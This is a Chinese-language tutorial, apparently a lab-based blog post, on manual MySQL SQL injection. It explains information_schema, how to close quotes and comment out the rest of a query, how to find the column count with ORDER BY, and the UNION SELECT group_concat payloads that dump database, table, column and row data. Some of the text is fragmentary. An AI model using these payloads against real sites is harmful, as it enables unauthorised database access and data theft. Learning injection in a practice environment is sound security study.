前面我们搭建好了靶场环境,知道我们用的数据库为mysql数据库,所以我们在闯关之前,先详细了解了解sql注入和mysql手工注入的常用方法和特点。
百度百科是这么写的:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
1. 输入点用户可控(即用户可以插入任意字符或sql语句)
只要满足以上三点条件,对不起,您的数据库基本沦陷。。。。
用PHPmyadmin打开我们安装好的mysql数据库,可知mysql共有4个默认库。
其中对我们最重要的是
mysql自带的
information_schema数据库
。因为information_schema这个数据库保存了MySQL服务器所有数据库的信息。如
数据库名,数据库的表,表栏的数据类型与访问权限等
。
所以当我们想查询数据库信息时,只需要通过这个information_schema数据库就可以查询到。
判断注入点---
判断数据库名---判断表名---判断列名---爆数据
@@version_conpile_os #操作系统版本
3. 关于闭合和截断
mysql数据库查询语句一般为:
select*from tables where id='$id';
或者
select * from tables where id='$id' limit 0,1;
当然还有$id、"$id"、($id)、("$id")、(('$id'))等形式,因为我们所插入的语句是通过$id来进行传递的,所以我们要根据实际情况通过单引号、双引号或者括号等对插入语句的前面语句进行闭合,对传入参数后面的语句通过%23或者-- -等注释形式进行注释截断,让我们的语句能够正常执行。
order by n (如果n+1返回错误页面,n返回正常页面,则字段数为n)
union select 1,2,3,....,n
union select group_concat(schema_name),2,3 from information_schema.schemata
(
查所有数据库名
)
union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()
(
查当前数据库所有表名)
union select group_concat(column_name),2,3 from information_schema.columns where table_name=‘要查询的数据库名'
查
所有列
名,tablename的值可以为要查询的数据库名的ASCII码转换,或者也可写为'要查询的数据库名
'
)
union select group_concat(要查询数据的列名),group_concat(要查询数据的列名),3 from 要查询的数据库.要查询的表
四:常见问题
1. 无法爆出显示位,在id前面加上"-"使其报错
2. 限制显示长度时,注入多个用户的数据可用 limit i,1
3. order by 和 top 1 不兼容,因为两者都是排序子句,而一般top 1 又在可控参数之前,所以无法使用order by